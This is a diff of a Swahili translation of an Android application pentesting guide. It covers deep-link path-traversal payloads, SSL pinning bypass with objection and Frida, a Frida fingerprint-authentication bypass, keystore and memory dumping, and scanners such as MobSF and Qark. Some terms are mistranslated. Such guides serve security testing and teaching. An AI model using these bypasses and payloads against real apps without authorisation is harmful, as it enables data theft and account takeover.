[**Jifunze jinsi ya kutumia Vastika za Matangazo na Drozer.**](#exploiting-broadcast-receivers)
### **Kutumia Mipango / Viungo vya Kina**
### **Kutumia Mipango / Viungo vya ndani**
Unaweza kutafuta viungo vya kina kwa mikono, ukitumia zana kama MobSF au scripts kama [hii](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Unaweza kutafuta viungo vya ndani kwa mikono, ukitumia zana kama MobSF au scripts kama [hii](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Unaweza **kufungua** mpango ulioelezwa kwa kutumia **adb** au **brower**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
@ -376,12 +376,12 @@ Ili kupata **code itakayotekelezwa katika App**, nenda kwenye shughuli inayoitwa
**Sensitive info**
Kila wakati unapotafuta deeplink hakikisha kuwa **haipati data nyeti (kama nywila) kupitia vigezo vya URL**, kwa sababu programu nyingine yoyote inaweza **kujifanya kuwa deeplink na kuiba data hiyo!**
Kila wakati unapotafuta deeplink hakikisha kuwa **haipokei data nyeti (kama nywila) kupitia vigezo vya URL**, kwa sababu programu nyingine yoyote inaweza **kujifanya kuwa deeplink na kuiba data hiyo!**
**Parameters in path**
Unapaswa **kuangalia pia kama deeplink yoyote inatumia parameter ndani ya njia** ya URL kama: `https://api.example.com/v1/users/{username}` , katika kesi hiyo unaweza kulazimisha usafiri wa njia kwa kufikia kitu kama: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Kumbuka kwamba ikiwa utapata mwisho sahihi ndani ya programu unaweza kuwa na uwezo wa kusababisha **Open Redirect** (ikiwa sehemu ya njia inatumika kama jina la kikoa), **kuchukua akaunti** (ikiwa unaweza kubadilisha maelezo ya watumiaji bila CSRF token na mwisho ulio hatarini unatumia njia sahihi) na hatari nyingine yoyote. Maelezo zaidi [hapa](http://dphoeniixx.com/2020/12/13-2/).
Kumbuka kwamba ikiwa utapata mwisho sahihi ndani ya programu unaweza kuwa na uwezo wa kusababisha **Open Redirect** (ikiwa sehemu ya njia inatumika kama jina la domain), **account takeover** (ikiwa unaweza kubadilisha maelezo ya watumiaji bila CSRF token na mwisho ulio hatarini unatumia njia sahihi) na hatari nyingine yoyote. Maelezo zaidi [hapa](http://dphoeniixx.com/2020/12/13-2/).
**More examples**
@ -390,41 +390,41 @@ Ripoti ya [bug bounty](https://hackerone.com/reports/855618) kuhusu viungo (_/.w
### Transport Layer Inspection and Verification Failures
- **Vyeti havikaguliwi kila wakati ipasavyo** na programu za Android. Ni kawaida kwa programu hizi kupuuza onyo na kukubali vyeti vilivyojitegemea au, katika baadhi ya matukio, kurudi kutumia muunganisho wa HTTP.
- **Majadiliano wakati wa handshake ya SSL/TLS wakati mwingine ni dhaifu**, yakitumia cipher suites zisizo salama. Uthibitisho huu unafanya muunganisho uwe hatarini kwa mashambulizi ya mtu katikati (MITM), ikiruhusu washambuliaji kufungua data.
- **Kuvuja kwa taarifa za kibinafsi** ni hatari wakati programu zinathibitisha kwa kutumia njia salama lakini kisha kuwasiliana kupitia njia zisizo salama kwa shughuli nyingine. Njia hii inashindwa kulinda data nyeti, kama vile cookies za kikao au maelezo ya mtumiaji, kutokana na kukamatwa na wahalifu.
- **Majadiliano wakati wa handshake ya SSL/TLS wakati mwingine ni dhaifu**, yakitumia cipher suites zisizo salama. Uthibitisho huu unafanya muunganisho uwe hatarini kwa mashambulizi ya mtu katikati (MITM), kuruhusu washambuliaji kufungua data.
- **Kuenea kwa taarifa za kibinafsi** ni hatari wakati programu zinathibitisha kwa kutumia njia salama lakini kisha kuwasiliana kupitia njia zisizo salama kwa shughuli nyingine. Njia hii inashindwa kulinda data nyeti, kama vile vidakuzi vya kikao au maelezo ya mtumiaji, kutokana na kukamatwa na wahalifu.
#### Certificate Verification
Tutazingatia **uthibitishaji wa cheti**. Uadilifu wa cheti cha seva lazima uhakikishwe ili kuongeza usalama. Hii ni muhimu kwa sababu usanidi usio salama wa TLS na uhamasishaji wa data nyeti kupitia njia zisizo na usalama zinaweza kuleta hatari kubwa. Kwa hatua za kina za kuthibitisha vyeti vya seva na kushughulikia hatari, [**rasilimali hii**](https://manifestsecurity.com/android-application-security-part-10/) inatoa mwongozo wa kina.
Tutazingatia **uthibitishaji wa cheti**. Uadilifu wa cheti cha seva lazima uhakikishwe ili kuongeza usalama. Hii ni muhimu kwa sababu mipangilio isiyo salama ya TLS na uhamasishaji wa data nyeti kupitia njia zisizo na usalama inaweza kuleta hatari kubwa. Kwa hatua za kina za kuthibitisha vyeti vya seva na kushughulikia udhaifu, [**rasilimali hii**](https://manifestsecurity.com/android-application-security-part-10/) inatoa mwongozo wa kina.
#### SSL Pinning
SSL Pinning ni kipimo cha usalama ambapo programu inathibitisha cheti cha seva dhidi ya nakala inayojulikana iliyohifadhiwa ndani ya programu yenyewe. Njia hii ni muhimu kwa kuzuia mashambulizi ya MITM. Kutekeleza SSL Pinning kunashauriwa kwa nguvu kwa programu zinazoshughulikia taarifa nyeti.
SSL Pinning ni hatua ya usalama ambapo programu inathibitisha cheti cha seva dhidi ya nakala inayojulikana iliyohifadhiwa ndani ya programu yenyewe. Njia hii ni muhimu kwa kuzuia mashambulizi ya MITM. Kutekeleza SSL Pinning kunashauriwa kwa nguvu kwa programu zinazoshughulikia taarifa nyeti.
#### Traffic Inspection
Ili kukagua trafiki ya HTTP, ni muhimu **kusanidi cheti cha zana ya proxy** (mfano, Burp). Bila kusanidi cheti hiki, trafiki iliyofichwa huenda isionekane kupitia proxy. Kwa mwongozo wa kusanidi cheti cha CA cha kawaida, [**bonyeza hapa**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Ili kukagua trafiki ya HTTP, ni muhimu **kusanidi cheti cha zana ya proxy** (mfano, Burp). Bila kusanidi cheti hiki, trafiki iliyosimbwa inaweza isionekane kupitia proxy. Kwa mwongozo wa kusanidi cheti cha CA cha kawaida, [**bonyeza hapa**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Programu zinazolenga **API Level 24 na zaidi** zinahitaji marekebisho kwenye Usanidi wa Usalama wa Mtandao ili kukubali cheti cha CA cha proxy. Hatua hii ni muhimu kwa kukagua trafiki iliyofichwa. Kwa maelekezo ya kubadilisha Usanidi wa Usalama wa Mtandao, [**rejelea mwongozo huu**](make-apk-accept-ca-certificate.md).
Programu zinazolenga **API Level 24 na zaidi** zinahitaji marekebisho kwenye Mipangilio ya Usalama wa Mtandao ili kukubali cheti cha CA cha proxy. Hatua hii ni muhimu kwa kukagua trafiki iliyosimbwa. Kwa maelekezo ya kubadilisha Mipangilio ya Usalama wa Mtandao, [**rejelea mwaliko huu**](make-apk-accept-ca-certificate.md).
#### Bypassing SSL Pinning
Wakati SSL Pinning inatekelezwa, kuipita inakuwa muhimu ili kukagua trafiki ya HTTPS. Njia mbalimbali zinapatikana kwa kusudi hili:
- Kiotomatiki **badilisha** **apk** ili **kuipita** SSLPinning kwa kutumia [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Faida bora ya chaguo hili ni kwamba hutahitaji root ili kuipita SSL Pinning, lakini utahitaji kufuta programu na kuisakinisha upya, na hii haitafanya kazi kila wakati.
- Kiotomatiki **badilisha** **apk** ili **kuipita** SSLPinning kwa [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Faida bora ya chaguo hili, ni kwamba hutahitaji root ili kuipita SSL Pinning, lakini utahitaji kufuta programu na kuisakinisha mpya, na hii haitafanya kazi kila wakati.
- Unaweza kutumia **Frida** (iliyozungumziwa hapa chini) kuipita ulinzi huu. Hapa kuna mwongozo wa kutumia Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia **MobSF uchambuzi wa dynamic** (iliyofafanuliwa hapa chini)
- Ikiwa bado unafikiri kuna trafiki ambayo huwezi kukamata unaweza kujaribu **kupeleka trafiki kwa burp kwa kutumia iptables**. Soma blog hii: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia **MobSF dynamic analysis** (iliyofafanuliwa hapa chini)
- Ikiwa bado unafikiri kuna trafiki ambayo hujapata unaweza kujaribu **kupeleka trafiki kwa burp kwa kutumia iptables**. Soma blog hii: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Looking for Common Web Vulnerabilities
Ni muhimu pia kutafuta hatari za kawaida za wavuti ndani ya programu. Maelezo ya kina juu ya kutambua na kupunguza hatari hizi yapo nje ya upeo wa muhtasari huu lakini yanashughulikiwa kwa kina mahali pengine.
Ni muhimu pia kutafuta udhaifu wa kawaida wa wavuti ndani ya programu. Maelezo ya kina juu ya kutambua na kupunguza udhaifu hizi yapo nje ya upeo wa muhtasari huu lakini yanashughulikiwa kwa kina mahali pengine.
### Frida
[Frida](https://www.frida.re) ni zana ya uhandisi wa dynamic kwa ajili ya waendelezaji, wahandisi wa kurudi, na watafiti wa usalama.\
**Unaweza kufikia programu inayotembea na kuunganisha mbinu wakati wa wakati wa kukimbia kubadilisha tabia, kubadilisha thamani, kutoa thamani, kukimbia code tofauti...**\
[Frida](https://www.frida.re) ni zana ya uhandisi wa dynamic kwa waendelezaji, wahandisi wa kurudi, na watafiti wa usalama.\
**Unaweza kufikia programu inayotembea na kuunganisha mbinu wakati wa wakati wa kukarabati, kubadilisha tabia, kubadilisha thamani, kutoa thamani, kukimbia code tofauti...**\
Ikiwa unataka kufanya pentest kwenye programu za Android unahitaji kujua jinsi ya kutumia Frida.
- Jifunze jinsi ya kutumia Frida: [**Frida tutorial**](frida-tutorial/index.html)
@ -446,7 +446,7 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Hii itatoa kumbukumbu katika folda ya ./dump, na ndani yake unaweza kutumia grep na kitu kama:
Hii itatoa kumbukumbu katika folda ya ./dump, na humo unaweza kutumia grep na kitu kama:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
@ -454,7 +454,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
Katika Android, Keystore ni mahali bora pa kuhifadhi data nyeti, hata hivyo, kwa ruhusa ya kutosha bado **inawezekana kuipata**. Kadri programu zinavyotenda kuhifadhi hapa **data nyeti katika maandiko wazi**, pentests zinapaswa kuangalia kwa mtumiaji wa root au mtu mwenye ufikiaji wa kimwili kwenye kifaa anaweza kuwa na uwezo wa kuiba data hii.
Hata kama programu imehifadhi tarehe katika keystore, data inapaswa kuwa imefungwa.
Hata kama programu imehifadhi data katika keystore, data inapaswa kuwa imefungwa.
Ili kufikia data ndani ya keystore unaweza kutumia script hii ya Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
@ -462,7 +462,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
Kwa kutumia script ifuatayo ya Frida inaweza kuwa inawezekana **kuzidi uthibitisho wa alama za vidole** ambayo programu za Android zinaweza kuwa zinafanya ili **kulinda maeneo fulani nyeti:**
Kwa kutumia script ya Frida ifuatayo inaweza kuwa inawezekana **kuzidi uthibitisho wa alama za vidole** ambayo programu za Android zinaweza kuwa zinafanya ili **kulinda maeneo fulani nyeti:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
@ -470,11 +470,11 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
Unapoweka programu katika muktadha, Android huhifadhi **picha ya programu** ili wakati inaporejeshwa kwenye mbele inaanza kupakia picha kabla ya programu ili ionekane kama programu imepakiwa haraka.
Hata hivyo, ikiwa picha hii ina **habari nyeti**, mtu mwenye ufikiaji wa picha hiyo anaweza **kuchukua habari hiyo** (kumbuka kuwa unahitaji root ili kuweza kuifikia).
Hata hivyo, ikiwa picha hii ina **taarifa nyeti**, mtu mwenye ufikiaji wa picha hiyo anaweza **kuchukua taarifa hiyo** (kumbuka kuwa unahitaji root ili kuweza kuifikia).
Picha hizo kwa kawaida huhifadhiwa katika: **`/data/system_ce/0/snapshots`**
Android inatoa njia ya **kuzuia upigaji picha wa skrini kwa kuweka kipimo cha FLAG_SECURE**. Kwa kutumia bendera hii, maudhui ya dirisha yanachukuliwa kama salama, na kuzuia kuonekana katika picha za skrini au kuonekana kwenye onyesho lisilo salama.
Android inatoa njia ya **kuzuia upigaji picha wa skrini kwa kuweka kipimo cha FLAG_SECURE** katika mpangilio. Kwa kutumia bendera hii, maudhui ya dirisha yanachukuliwa kama salama, na kuzuia kuonekana katika picha za skrini au kuonekana kwenye onyesho lisilo salama.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -482,28 +482,28 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
Chombo hiki kinaweza kukusaidia kusimamia zana mbalimbali wakati wa uchambuzi wa dynamic: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Uingizaji wa Intent
### Kuingilia kwa Intent
Wak developers mara nyingi huunda vipengele vya proxy kama shughuli, huduma, na wapokeaji wa matangazo vinavyoshughulikia hizi Intents na kuzipitisha kwa mbinu kama `startActivity(...)` au `sendBroadcast(...)`, ambayo inaweza kuwa hatari.
Hatari iko katika kuruhusu washambuliaji kuanzisha vipengele vya programu visivyoweza kusambazwa au kufikia watoa maudhui nyeti kwa kuhamasisha hizi Intents. Mfano maarufu ni kipengele cha `WebView` kinachobadilisha URLs kuwa vitu vya `Intent` kupitia `Intent.parseUri(...)` na kisha kuyatekeleza, ambayo yanaweza kusababisha uingizaji wa Intent mbaya.
Hatari iko katika kuruhusu washambuliaji kuanzisha vipengele vya programu visivyoweza kusambazwa au kufikia watoa maudhui nyeti kwa kuhamasisha hizi Intents. Mfano maarufu ni kipengele cha `WebView` kinachobadilisha URLs kuwa vitu vya `Intent` kupitia `Intent.parseUri(...)` na kisha kuvitenda, ambayo inaweza kusababisha kuingilia kwa Intent zenye uharibifu.
### Mambo Muhimu ya Kujifunza
### Maelezo Muhimu
- **Uingizaji wa Intent** ni sawa na tatizo la Open Redirect la wavuti.
- Uhalifu unahusisha kupitisha vitu vya `Intent` kama ziada, ambavyo vinaweza kuelekezwa kutekeleza operesheni zisizo salama.
- **Kuingilia kwa Intent** ni sawa na tatizo la Open Redirect la wavuti.
- Uhalifu unahusisha kupitisha vitu vya `Intent` kama ziada, ambavyo vinaweza kuhamasishwa kutekeleza operesheni zisizo salama.
- Inaweza kufichua vipengele visivyoweza kusambazwa na watoa maudhui kwa washambuliaji.
- Mabadiliko ya URL ya `WebView` kuwa `Intent` yanaweza kuwezesha vitendo visivyokusudiwa.
- Kubadilisha URL ya `WebView` kuwa `Intent` kunaweza kuwezesha vitendo visivyokusudiwa.
### Uingizaji wa Kando ya Mteja wa Android na mengineyo
### Kuingilia kwa upande wa Mteja wa Android na mengineyo
Labda unajua kuhusu aina hii ya udhaifu kutoka kwa Wavuti. Lazima uwe makini sana na udhaifu huu katika programu ya Android:
- **Uingizaji wa SQL:** Unaposhughulika na maswali ya dynamic au Watoa-Maudhui hakikisha unatumia maswali yaliyowekwa.
- **Uingizaji wa JavaScript (XSS):** Hakikisha kuwa msaada wa JavaScript na Plugin umezimwa kwa WebViews yoyote (umezimwa kwa default). [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
- **Ujumuishaji wa Faili za Mitaa:** WebViews zinapaswa kuwa na ufikiaji wa mfumo wa faili umezimwa (umewezeshwa kwa default) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
- **Kuki za Milele**: Katika kesi kadhaa wakati programu ya android inamaliza kikao, kuki haifutwi au inaweza hata kuhifadhiwa kwenye diski.
- [**Lipu la Usalama** katika kuki](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
- **SQL Injection:** Unaposhughulika na maswali ya dynamic au Watoa-Maudhui hakikisha unatumia maswali yaliyopangwa.
- **JavaScript Injection (XSS):** Hakikisha kuwa msaada wa JavaScript na Plugin umezimwa kwa WebViews yoyote (umezimwa kwa default). [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
- **Inclusion ya Faili za Mitaa:** WebViews zinapaswa kuwa na ufikiaji wa mfumo wa faili umezimwa (umewezeshwa kwa default) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
- **Cookies za Milele**: Katika kesi kadhaa wakati programu ya android inamaliza kikao, cookie haifutwi au inaweza hata kuhifadhiwa kwenye diski.
- [**Lipu la Usalama** katika cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
@ -521,28 +521,28 @@ docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
Kumbuka kwamba MobSF inaweza kuchambua **Android**(apk)**, IOS**(ipa) **na Windows**(apx) programu (_Programu za Windows lazima zichambuliwe kutoka kwa MobSF iliyosakinishwa kwenye mwenyeji wa Windows_).\
Pia, ikiwa utaunda **ZIP** faili yenye msimbo wa chanzo wa programu ya **Android** au **IOS** (nenda kwenye folda ya mzizi ya programu, chagua kila kitu na uunde faili la ZIP), itakuwa na uwezo wa kuichambua pia.
Pia, ikiwa unaunda faili la **ZIP** na msimbo wa chanzo wa programu ya **Android** au **IOS** (nenda kwenye folda ya mzizi ya programu, chagua kila kitu na uunde faili la ZIP), itakuwa na uwezo wa kuchambua pia.
MobSF pia inakuwezesha **diff/Compare** uchambuzi na kuunganisha **VirusTotal** (utahitaji kuweka funguo yako ya API katika _MobSF/settings.py_ na kuifanya iweze: `VT_ENABLED = TRUE` `VT_API_KEY = <Funguo yako ya API>` `VT_UPLOAD = TRUE`). Unaweza pia kuweka `VT_UPLOAD` kuwa `False`, kisha **hash** itakuwa **upload** badala ya faili.
MobSF pia inakuwezesha **diff/Compare** uchambuzi na kuunganisha **VirusTotal** (utahitaji kuweka funguo zako za API katika _MobSF/settings.py_ na kuziwezesha: `VT_ENABLED = TRUE` `VT_API_KEY = <Funguo yako ya API>` `VT_UPLOAD = TRUE`). Unaweza pia kuweka `VT_UPLOAD` kuwa `False`, kisha **hash** itapakiwa badala ya faili.
### Uchambuzi wa Kisaidizi wa Dynamic na MobSF
### Uchambuzi wa Kisaidizi wa Kijamii na MobSF
**MobSF** pia inaweza kuwa na msaada mkubwa kwa **uchambuzi wa dynamic** katika **Android**, lakini katika kesi hiyo utahitaji kusakinisha MobSF na **genymotion** kwenye mwenyeji wako (VM au Docker haitafanya kazi). _Kumbuka: Unahitaji **kuanzisha kwanza VM katika genymotion** na **kisha MobSF.**_\
**MobSF dynamic analyser** inaweza:
**MobSF** pia inaweza kuwa na msaada mkubwa kwa **uchambuzi wa kisaidizi** katika **Android**, lakini katika kesi hiyo utahitaji kusakinisha MobSF na **genymotion** kwenye mwenyeji wako (VM au Docker haitafanya kazi). _Kumbuka: Unahitaji **kuanzisha kwanza VM katika genymotion** na **kisha MobSF.**_\
**Mchambuzi wa kisaidizi wa MobSF** anaweza:
- **Dump data za programu** (URLs, logs, clipboard, picha za skrini ulizofanya, picha za skrini zilizofanywa na "**Exported Activity Tester**", barua pepe, hifadhidata za SQLite, faili za XML, na faili nyingine zilizoundwa). Hii yote inafanywa kiotomatiki isipokuwa kwa picha za skrini, unahitaji kubonyeza unapohitaji picha ya skrini au unahitaji kubonyeza "**Exported Activity Tester**" ili kupata picha za skrini za shughuli zote zilizofanywa.
- **Dump data za programu** (URLs, logi, clipboard, picha za skrini ulizofanya, picha za skrini zilizofanywa na "**Exported Activity Tester**", barua pepe, hifadhidata za SQLite, faili za XML, na faili nyingine zilizoundwa). Hii yote inafanywa kiotomatiki isipokuwa kwa picha za skrini, unahitaji kubonyeza unapohitaji picha ya skrini au unahitaji kubonyeza "**Exported Activity Tester**" ili kupata picha za skrini za shughuli zote zilizofanywa.
- Kukamata **trafiki ya HTTPS**
- Kutumia **Frida** kupata **maelezo ya wakati wa utekelezaji**
- Kutumia **Frida** kupata **habari za wakati halisi**
Kuanzia toleo la android **> 5**, itaanza **Frida** kiotomatiki na kuweka mipangilio ya **proxy** ya kimataifa ili **kukamata** trafiki. Itakamata tu trafiki kutoka kwa programu iliyojaribiwa.
**Frida**
Kwa kawaida, itatumia baadhi ya Scripts za Frida ili **kupita SSL pinning**, **ugunduzi wa root** na **ugunduzi wa debugger** na **kufuatilia APIs za kuvutia**.\
MobSF pia inaweza **kuita shughuli zilizofanywa**, kuchukua **picha za skrini** za hizo na **kuhifadhi** kwa ripoti.
Kwa kawaida, itatumia baadhi ya Skripti za Frida ili **kupita SSL pinning**, **ugunduzi wa root** na **ugunduzi wa debugger** na **kufuatilia APIs za kuvutia**.\
MobSF pia inaweza **kuitisha shughuli zilizofanywa**, kuchukua **picha za skrini** za hizo na **kuhifadhi** kwa ripoti.
Ili **kuanza** upimaji wa dynamic bonyeza kitufe kibichi: "**Start Instrumentation**". Bonyeza "**Frida Live Logs**" kuona logs zinazozalishwa na scripts za Frida na "**Live API Monitor**" kuona kila mwito kwa mbinu zilizoshikiliwa, hoja zilizopitishwa na thamani zilizorejeshwa (hii itaonekana baada ya kubonyeza "Start Instrumentation").\
MobSF pia inakuwezesha kupakia **scripts zako za Frida** (ili kutuma matokeo ya scripts zako za Ijumaa kwa MobSF tumia kazi `send()`). Pia ina **scripts kadhaa zilizotayarishwa awali** ambazo unaweza kupakia (unaweza kuongeza zaidi katika `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), chagua tu **zile**, bonyeza "**Load**" na bonyeza "**Start Instrumentation**" (utaweza kuona logs za hizo scripts ndani ya "**Frida Live Logs**").
Ili **kuanza** upimaji wa kisaidizi bonyeza kitufe kibichi: "**Start Instrumentation**". Bonyeza "**Frida Live Logs**" kuona logi zinazozalishwa na skripti za Frida na "**Live API Monitor**" kuona kila mwito kwa mbinu zilizoshikiliwa, hoja zilizopitishwa na thamani zilizorejeshwa (hii itaonekana baada ya kubonyeza "Start Instrumentation").\
MobSF pia inakuwezesha kupakia **skripti zako za Frida** (ili kutuma matokeo ya skripti zako za Ijumaa kwa MobSF tumia kazi `send()`). Pia ina **skripti kadhaa zilizandikwa awali** ambazo unaweza kupakia (unaweza kuongeza zaidi katika `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), chagua tu **zinazo**, bonyeza "**Load**" na bonyeza "**Start Instrumentation**" (utaweza kuona logi za skripti hizo ndani ya "**Frida Live Logs**").
![](<../../images/image (419).png>)
@ -559,7 +559,7 @@ Mara tu unapochagua moduli ya ziada unayotaka kutumia unahitaji kubonyeza "**Sta
**Shell**
Mobsf pia inakuletea shell yenye baadhi ya **adb** amri, **MobSF commands**, na amri za kawaida za **shell** chini ya ukurasa wa uchambuzi wa dynamic. Baadhi ya amri za kuvutia:
Mobsf pia inakuletea shell yenye baadhi ya amri za **adb**, **amri za MobSF**, na amri za kawaida za **shell** chini ya ukurasa wa uchambuzi wa kisaidizi. Baadhi ya amri za kuvutia:
```bash
help
shell ls
@ -570,13 +570,13 @@ receivers
```
**HTTP tools**
Wakati trafiki ya http inakamatwa unaweza kuona mtazamo mbaya wa trafiki iliyokamatwa kwenye "**HTTP(S) Traffic**" chini au mtazamo mzuri kwenye "**Start HTTPTools**" kijani chini. Kutoka chaguo la pili, unaweza **kutuma** **maombi yaliyokamatwa** kwa **proxies** kama Burp au Owasp ZAP.\
Wakati trafiki ya http inakamatwa unaweza kuona mtazamo mbaya wa trafiki iliyokamatwa kwenye "**HTTP(S) Traffic**" chini au mtazamo mzuri kwenye "**Start HTTPTools**" kitufe kibichi. Kutoka kwenye chaguo la pili, unaweza **kutuma** **maombi yaliyokamatwa** kwa **proxies** kama Burp au Owasp ZAP.\
Ili kufanya hivyo, _washa Burp -->_ _zimisha Intercept --> katika MobSB HTTPTools chagua ombi_ --> bonyeza "**Send to Fuzzer**" --> _chagua anwani ya proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Mara tu unapo maliza uchambuzi wa dynamic na MobSF unaweza kubonyeza "**Start Web API Fuzzer**" ili **fuzz maombi ya http** na kutafuta udhaifu.
> [!NOTE]
> Baada ya kufanya uchambuzi wa dynamic na MobSF mipangilio ya proxy inaweza kuwa na makosa na huwezi kuziweka sawa kutoka kwa GUI. Unaweza kurekebisha mipangilio ya proxy kwa kufanya:
> Baada ya kufanya uchambuzi wa dynamic na MobSF mipangilio ya proxy inaweza kuwa imepangwa vibaya na huwezi kuziweka sawa kutoka kwenye GUI. Unaweza kurekebisha mipangilio ya proxy kwa kufanya:
>
> ```
> adb shell settings put global http_proxy :0
@ -595,7 +595,7 @@ Hii ni **chombo kizuri kufanya uchambuzi wa static na GUI**
### [Qark](https://github.com/linkedin/qark)
Chombo hiki kimeundwa kutafuta **udhaifu kadhaa zinazohusiana na usalama wa programu za Android**, iwe katika **kanuni ya chanzo** au **APKs zilizopakiwa**. Chombo hiki pia **kina uwezo wa kuunda "Proof-of-Concept" APK inayoweza kutekelezwa** na **amri za ADB**, ili kutumia baadhi ya udhaifu uliofindika (Shughuli zilizofichuliwa, nia, tapjacking...). Kama ilivyo kwa Drozer, hakuna haja ya ku-root kifaa cha mtihani.
Chombo hiki kimeundwa kutafuta **udhaifu kadhaa zinazohusiana na usalama wa programu za Android**, iwe katika **msimbo wa chanzo** au **APKs zilizopakiwa**. Chombo hiki pia **kina uwezo wa kuunda "Proof-of-Concept" APK inayoweza kutekelezwa** na **amri za ADB**, ili kutumia baadhi ya udhaifu uliofindika (Shughuli zilizo wazi, nia, tapjacking...). Kama ilivyo kwa Drozer, hakuna haja ya ku-root kifaa kinachojaribiwa.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -615,11 +615,11 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER ni programu ya amri ambayo inaweza kutumika katika Windows, MacOS X na Linux, inayochambua faili za _.apk_ kutafuta udhaifu. Inafanya hivyo kwa kubonyeza APKs na kutumia mfululizo wa sheria kugundua udhaifu hizo.
SUPER ni programu ya amri inayoweza kutumika katika Windows, MacOS X na Linux, inayochambua faili za _.apk_ kutafuta udhaifu. Inafanya hivyo kwa kubonyeza APKs na kutumia mfululizo wa sheria kugundua udhaifu hizo.
Sheria zote zinazingatia faili ya `rules.json`, na kila kampuni au mtathmini anaweza kuunda sheria zake mwenyewe kuchambua kile wanachohitaji.
Pakua binaries za hivi karibuni kutoka kwenye [download page](https://superanalyzer.rocks/download.html)
Pakua binaries za hivi punde kutoka kwenye [download page](https://superanalyzer.rocks/download.html)
```
super-analyzer {apk_file}
```
@ -637,7 +637,7 @@ Pakua [latest release](https://github.com/vincentcox/StaCoAn/releases):
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework ni mfumo wa uchambuzi wa udhaifu wa Android ambao unawasaidia waendelezaji au hackers kupata udhaifu wa usalama unaoweza kutokea katika programu za Android.\
AndroBugs Framework ni mfumo wa uchambuzi wa udhaifu wa Android unaosaidia waendelezaji au hackers kupata udhaifu wa usalama unaoweza kutokea katika programu za Android.\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -645,11 +645,11 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** ni chombo ambacho lengo lake kuu ni kugundua na kumwonya mtumiaji kuhusu tabia mbaya zinazoweza kutokea zinazotengenezwa na programu ya Android.
**Androwarn** ni chombo chenye lengo kuu la kugundua na kumwonya mtumiaji kuhusu tabia mbaya zinazoweza kutokea zinazotengenezwa na programu ya Android.
Ugunduzi unafanywa kwa **uchambuzi wa statiki** wa bytecode ya Dalvik ya programu, inayowakilishwa kama **Smali**, kwa kutumia maktaba ya [`androguard`](https://github.com/androguard/androguard).
Chombo hiki kinatafuta **tabia za kawaida za programu "mbaya"** kama: Uhamasishaji wa vitambulisho vya Simu, Ukatishaji wa mtiririko wa sauti/video, Marekebisho ya data za PIM, Utekelezaji wa msimbo wa kiholela...
Chombo hiki kinatafuta **tabia za kawaida za programu "mbaya"** kama: uhamasishaji wa vitambulisho vya simu, upokeaji wa mtiririko wa sauti/video, mabadiliko ya data ya PIM, utekelezaji wa msimbo wa kiholela...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -657,20 +657,20 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
